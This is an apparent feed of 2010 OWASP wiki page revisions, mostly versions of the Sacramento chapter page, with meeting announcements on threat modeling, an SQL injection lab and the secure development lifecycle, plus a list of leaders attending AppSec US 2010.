*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== Future meetings ==&lt;br /&gt;
We always want ideas!  Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a &amp;quot;SQL Injection Lab&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89401</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=89401"/>
				<updated>2010-09-16T07:48:59Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Next meeting: THREAT MODELING WORKSHOP, Thursday, September 30 2010 6-8pm ==&lt;br /&gt;
&lt;br /&gt;
Threat Modeling is one of the cheapest and most effective methods to identify and prioritize security risks, but few practice it because it is perceived as too difficult.  Roman Hustad will share from his threat modeling experiences to show how a basic threat model can be constructed in hours rather than days.  This will be a ''work''shop, not a presentation so come prepared to stand up and participate.  Roman will give a brief introduction to Threat Modeling and propose a simplified methodology.  The team will then build a threat model for the fictional Hacme Books e-commerce web application (optional: [http://www.foundstone.com/us/resources/proddesc/hacmebooks.htm download] and play with the application ahead of time).&lt;br /&gt;
&lt;br /&gt;
Dinner and drinks will be provided by the chapter.  (Thanks to those of you who became OWASP members in 2010!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''SPEAKER BIO:''' Roman Hustad is a local enterprise software developer in the financial services industry and was formerly a software security consultant at Foundstone. He has constructed applications large and small and torn others apart via penetration testing, threat modeling, and code review.  Roman also enjoys teaching software security and is one of the OWASP Sacramento chapter leaders. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Future meetings ==&lt;br /&gt;
We always want ideas!  Send your request for a meeting topic to a chapter leader or the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a &amp;quot;SQL Injection Lab&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=AppSec_US_2010,_CA/Attending_Owasp_Leaders&amp;diff=88372</id>
		<title>AppSec US 2010, CA/Attending Owasp Leaders</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=AppSec_US_2010,_CA/Attending_Owasp_Leaders&amp;diff=88372"/>
				<updated>2010-08-31T08:43:05Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* Attending Leaders - Confirmed */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Page to manage the participation of the OWASP leaders at the [[AppSec_US_2010,_CA|AppSec USA in Irvine USA]]&lt;br /&gt;
 &lt;br /&gt;
===Attending Leaders - Confirmed===&lt;br /&gt;
&lt;br /&gt;
* [[User:Dancornell|Dan Cornell]]- ''San Antonio Chapter and Global Membership Committee''&lt;br /&gt;
* Tony UV - ''Atlanta Chapter''&lt;br /&gt;
* [[User:Jmanico|Jim Manico]] - ''Podcast Project''&lt;br /&gt;
* [[User:MichaelCoates|Michael Coates]] - ''AppSensor project and Global Membership Committee''&lt;br /&gt;
* [[User:Knoblochmartin|Martin Knobloch]] - ''Education and Connections Committee''&lt;br /&gt;
* [[User:Rsnake|Robert Hansen]] - ''Connections Committee''&lt;br /&gt;
* [[User:Mtesauro|Matt Tesauro]] - ''Live CD project, Board Member''&lt;br /&gt;
* [[User:Wichers|Dave Wichers]] - ''Top 10 project, Board Member''&lt;br /&gt;
* [[User:brennan|Tom Brennan]] - ''NYC Chapter Leader, RFP Criteria project, OWASP-CRM, Board Member''&lt;br /&gt;
* [[User:Jeff_Williams|Jeff Williams]] - ''ESAPI project, Board Member''&lt;br /&gt;
* [[User:Dinis.cruz|Dinis Cruz]] - ''O2 Platform project, Board Member''&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Dc David Campbell] - ''Denver Chapter, Industry Committee''&lt;br /&gt;
* [http://www.owasp.org/index.php/User:Justin42 Justin Clarke] - ''London Chapter and Connections Committee''&lt;br /&gt;
* Roman Hustad - ''Sacramento Chapter''&lt;br /&gt;
&lt;br /&gt;
'''Part of the conference organization'''&lt;br /&gt;
* Cassio Goldschmidt - ''Los Angeles Chapter''&lt;br /&gt;
* [[:User:Tin Zaw|Tin Zaw]] - ''Los Angeles Chapter''&lt;br /&gt;
* [[User:Richard greenberg|Richard Greenberg]] - ''Los Angeles Chapter''&lt;br /&gt;
* [http://twitter.com/nilematotle Neil Matatall] - ''[[http://www.owasp.org/index.php/Orange_County Orange County Chapter]]''&lt;br /&gt;
&lt;br /&gt;
===Also attending (part of OWASP community)===&lt;br /&gt;
* Joseph Dawson&lt;br /&gt;
&lt;br /&gt;
===Attending Leaders - TBC===&lt;br /&gt;
* [[User:Lorna Alamri|Lorna Alamri]] - ''Connections Committee''&lt;br /&gt;
&lt;br /&gt;
===Key WebAppSec players===&lt;br /&gt;
objective: identfy potential synergies between WebAppSec industry players and OWASP leaders (for example too meet and have a meeting)&lt;br /&gt;
&lt;br /&gt;
* Firefox Browser &lt;br /&gt;
** There are a number of Firefox employees participating and they have shown interest in talking to OWAPS about how we can work together&lt;br /&gt;
&lt;br /&gt;
===Developers and QA participating===&lt;br /&gt;
'''Sponsored by an OWASP Chapter'''&lt;br /&gt;
* TBC&lt;br /&gt;
&lt;br /&gt;
''Question:Should we also do the same tracking for other Developers and QA/Testing professionals?''&lt;br /&gt;
&lt;br /&gt;
===To do (tasks)===&lt;br /&gt;
* for each each participant&lt;br /&gt;
** link to MediaWiki user page&lt;br /&gt;
** add twitter accounts&lt;br /&gt;
*Travel arrangements&lt;br /&gt;
**  map travel dates&lt;br /&gt;
** when/where they are arriving &lt;br /&gt;
** where are they staying&lt;br /&gt;
* figure out what to do with the leaders when they are there&lt;br /&gt;
* should we create a welcome pack for these leaders?&lt;br /&gt;
* should we see if they need help in their travel arrangements?&lt;br /&gt;
* should we see if its possible to find a local host for the accomodation (it is always better than going into an hotel)?&lt;br /&gt;
* do we need a budget? if so, how much?&lt;br /&gt;
&lt;br /&gt;
[[Category:Connections Committee]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=87586</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=87586"/>
				<updated>2010-08-13T00:14:55Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: Thursday, September 30 ==&lt;br /&gt;
&lt;br /&gt;
The tentative topic is &amp;quot;Threat Modeling&amp;quot;.  Send requests for meeting topics to the [http://lists.owasp.org/mailman/listinfo/owasp-sacramento chapter mailing list].  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-06-24: [mailto:michael.weber35@gmail.com Michael Weber] conducted a &amp;quot;SQL Injection Lab&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=84893</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=84893"/>
				<updated>2010-06-15T07:14:07Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== MEETING: June 24, 2010, 6-8 pm: '''SQL Injection Lab''' ==&lt;br /&gt;
&lt;br /&gt;
'''Prerequisites'''&lt;br /&gt;
&lt;br /&gt;
• ''A basic understanding of [http://en.wikipedia.org/wiki/Relational_database Relational Databases]''&lt;br /&gt;
&lt;br /&gt;
• ''Installed copy of [http://www.virtualbox.org/wiki/Downloads Virtual Box], running Maven’s [http://www.mavensecurity.com/web_security_dojo/ Web Security Dojo]''&lt;br /&gt;
&lt;br /&gt;
SQL Injection can be a serious vulnerability that is actively being exploited &amp;quot;in the wild.&amp;quot;  This lab will help the attendee understand SQL Injection through live demonstrations and hands-on activities. We will be splitting into groups of 3-4 to perform the lab exercises. Once the lab activities have ended, we will look at methods for limiting and preventing SQL injection.&lt;br /&gt;
&lt;br /&gt;
'''Please come to the lab prepared with a laptop that contains an installed copy of Virtual Box, running Maven’s Web Security Dojo.''' The software will provide us with a virtual training environment.&lt;br /&gt;
&lt;br /&gt;
http://www.virtualbox.org/wiki/Downloads&lt;br /&gt;
&lt;br /&gt;
http://www.mavensecurity.com/web_security_dojo/&lt;br /&gt;
&lt;br /&gt;
Please also download the MYSQL Injection cheat from pentestmonkey.net, we will need it to complete the third lab.&lt;br /&gt;
&lt;br /&gt;
http://pentestmonkey.net/blog/mysql-sql-injection-cheat-sheet/&lt;br /&gt;
&lt;br /&gt;
'''SPEAKER BIO'''&lt;br /&gt;
Michael Weber serves as one of the Sacramento OWASP chapter leaders. Currently he holds the Security+ certification and has passed the CISSP exam. Having started programming at a very young age Michael has developed numerous applications in a variety of languages and technologies. Most recently Michael has been employed by Hewlett-Packard developing applications using both .NET and J2EE technologies. Michael earned his B.S. in Computer Science from Sacramento State University.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' &lt;br /&gt;
&lt;br /&gt;
Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-05-27: Erik Peterson of [http://www.veracode.com Veracode] presented &amp;quot;Automated Web Application Testing - Why we're Doing It Wrong&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-04-29: Roman Hustad presented &amp;quot;The Secure Software Development Lifecycle&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=80977</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=80977"/>
				<updated>2010-04-06T09:07:40Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== MEETING: April 29, 2010, 6-8 pm: The Secure Software Development Lifecycle ==&lt;br /&gt;
&lt;br /&gt;
'''TOPIC:  The Secure Software Development Lifecycle'''. &lt;br /&gt;
Come to this meeting if you want to learn (and discuss) how to bake security into your applications as they are created.  We will examine the current maturity models and methodologies (CLASP, SDL, 7 Touchpoints, OpenSAMM, BSI-MM) and talk about how these work out in the real world.  The focus will be on high-value, low drag activities that are practical for most development teams.  Peripheral issues will also be considered, such as how to get management on board; how traditional information security professionals can work with development teams; dealing with legacy applications; and how to separate the real threats from the security busywork.  &lt;br /&gt;
&lt;br /&gt;
SPEAKER BIO&lt;br /&gt;
Roman Hustad has been an enterprise software developer in Sacramento for most of the past ten years. Most recently he was a Principal Consultant at Foundstone where he specialized in application security by performing code reviews, threat models, and teaching secure programming. Roman is a regular presenter at local chapters of OWASP, ISSA, ISACA, and Java User Groups. He is currently a local Java development lead in the financial services industry. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''RSVP &amp;amp; LOCATION:''' &lt;br /&gt;
&lt;br /&gt;
Please [http://owaspsacramento.eventbrite.com/ RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: HP Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670&lt;br /&gt;
&lt;br /&gt;
== FUTURE Meetings ==&lt;br /&gt;
2010-05-27: [http://www.veracode.com Veracode] will be talking about &amp;quot;Automated Web Application Scanning&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2010-03-25: Mike Fauzy of [http://www.aspectsecurity.com Aspect Security] presented &amp;quot;Tool Assisted Manual Code Review - Manual Precision with Automated Performance&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2010-02-25: Arshad Noor of [http://www.strongauth.com/ StrongAuth, Inc.] presented &amp;quot;Key Management &amp;amp; Encryption&amp;quot;  [http://www.mediafire.com/file/jz5dyu1wiyk/EKM-1.0.pdf Download presentation]&lt;br /&gt;
&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
